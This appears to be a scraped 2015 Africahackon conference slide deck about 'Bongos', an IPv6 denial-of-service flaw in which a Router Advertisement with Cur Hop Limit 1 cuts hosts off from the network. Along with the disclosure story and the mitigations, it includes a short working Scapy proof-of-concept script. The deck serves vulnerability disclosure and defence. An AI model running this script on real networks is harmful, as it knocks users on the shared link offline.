View
8
Download
0
Category
Preview:
Citation preview
www.modio.se2015-07-31 Africahackon
BongosIt’s not the end of the Internet
https://www.bongos.se/
www.modio.se2015-07-31 Africahackon
IPv6 at iHubiHub 1 and 2 has functional ipv6
https://ipv6.google.com/ - test
unix/Linux: ping6 ipv6.google.com
windows ping -t ipv6.google.com
iOS/Android: Apps.
www.modio.se2015-07-31 Africahackon
● Simple (IPv6) Denial of Service Attack○ Cross platform
● Simple to Exploit○ Link Local
Bongos: What is it
www.modio.se2015-07-31 Africahackon
IPv6: Some details
Things you need to know
www.modio.se2015-07-31 Africahackon
IPv6: Some details
Routing basics
www.modio.se2015-07-31 Africahackon
IPv6: Hop Limit
TTL in IPv4 was renamedHop Limit in IPv6
www.modio.se2015-07-31 Africahackon
IPv6: Hop Limit
All routers decrease hop limit by 1reject if 0
www.modio.se2015-07-31 Africahackon
IPv6: Neighbour Discovery
Things you need to know
www.modio.se2015-07-31 Africahackon
IPv6: Neighbour Discovery
Client & Router
www.modio.se2015-07-31 Africahackon
IPv6: Neighbour Discovery(short & incorrect)
Client: Asks for routesRouter: Advertises routes
www.modio.se2015-07-31 Africahackon
IPv6: Router Advertisement
ICMP Type ICMP Code Checksum
Cur Hop limit M|O|Reserved Router Lifetime
Reachable time
Retrans timer
Options
www.modio.se2015-07-31 Africahackon
IPv6: Router Advertisement
ICMP Type ICMP Code Checksum
Cur Hop limit M|O|Reserved Router Lifetime
Reachable time
Retrans timer
Options
www.modio.se2015-07-31 Africahackon
IPv6: Quoth the RFC
“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”
www.modio.se2015-07-31 Africahackon
IPv6: But...
What if there’s nothing else in the Router Advertisement?
www.modio.se2015-07-31 Africahackon
Exploit
Let’s see what happens!
www.modio.se2015-07-31 Africahackon
Exploit: bongos.py
#!/bin/env python
import scapy.all
from scapy.layers.inet6 import *
ip = IPv6()
icmp = ICMPv6ND_RA()
www.modio.se2015-07-31 Africahackon
Exploit: bongos.py
ip.dst = "ff02::1"
icmp.chlim = 1
send(ip/icmp, loop=True,inter=1)
www.modio.se2015-07-31 Africahackon
Exploit: And then what?
Clients see RA packet and Apply the Hop Limit
www.modio.se2015-07-31 Africahackon
Impact
Hop Limit is per interface
www.modio.se2015-07-31 Africahackon
Impact
Hop Limit is suddenly 1
www.modio.se2015-07-31 Africahackon
Impact
Hop Limit is suddenly 1
Globally
www.modio.se2015-07-31 Africahackon
Impact
All outgoing packets get dropped at first router
www.modio.se2015-07-31 Africahackon
Impact: Operating Systems Linux
( Android, RHEL, SuSE…) FreeBSD
( Juniper, PFSense) Apple OS X Apple iOS Microsoft Windows 8.x
www.modio.se2015-07-31 Africahackon
Impact: Protection
RFC 3756:“….ignore very small hop limits.”
www.modio.se2015-07-31 Africahackon
Reporting
Then what?
www.modio.se2015-07-31 Africahackon
Reporting
Vendor sec / OSS sec
www.modio.se2015-07-31 Africahackon
Reporting
CERT/CC!
www.modio.se2015-07-31 Africahackon
Reporting
With patch!
www.modio.se2015-07-31 Africahackon
Reporting
And PoC!
www.modio.se2015-07-31 Africahackon
Reporting
Then silence
www.modio.se2015-07-31 Africahackon
Reporting
45 days disclosure timeline
www.modio.se2015-07-31 Africahackon
Reporting
Question about upstream
www.modio.se2015-07-31 Africahackon
Reporting
OK to post patches!( 2 weeks )
www.modio.se2015-07-31 Africahackon
Reporting
Patches are public( woups )
www.modio.se2015-07-31 Africahackon
Reporting
Instant disclosure by CERT
www.modio.se2015-07-31 Africahackon
Reporting
WOUPS
www.modio.se2015-07-31 Africahackon
Reporting
CVE request
www.modio.se2015-07-31 Africahackon
Reporting
It’s all open
www.modio.se2015-07-31 Africahackon
Patch your OS:● Linux● BSD
Impact: Fixes
www.modio.se2015-07-31 Africahackon
Patch your OS:● Android?● Apple?● Others?
Impact: Fixesworkarounds
www.modio.se2015-07-31 Africahackon
Impact: Fixesworkarounds
Filter out RA packets● Switches● Firewalls● Wifi access points
www.modio.se2015-07-31 Africahackon
Impact: Fixesworkarounds
Suspicious RA packets● Local firewall
www.modio.se2015-07-31 Africahackon
Bongos: Recap
● Link Local● Cross Platform● Easy● Reporting still sucks
www.modio.se2015-07-31 Africahackon
Questions?
https://www.bongos.se/
Recommended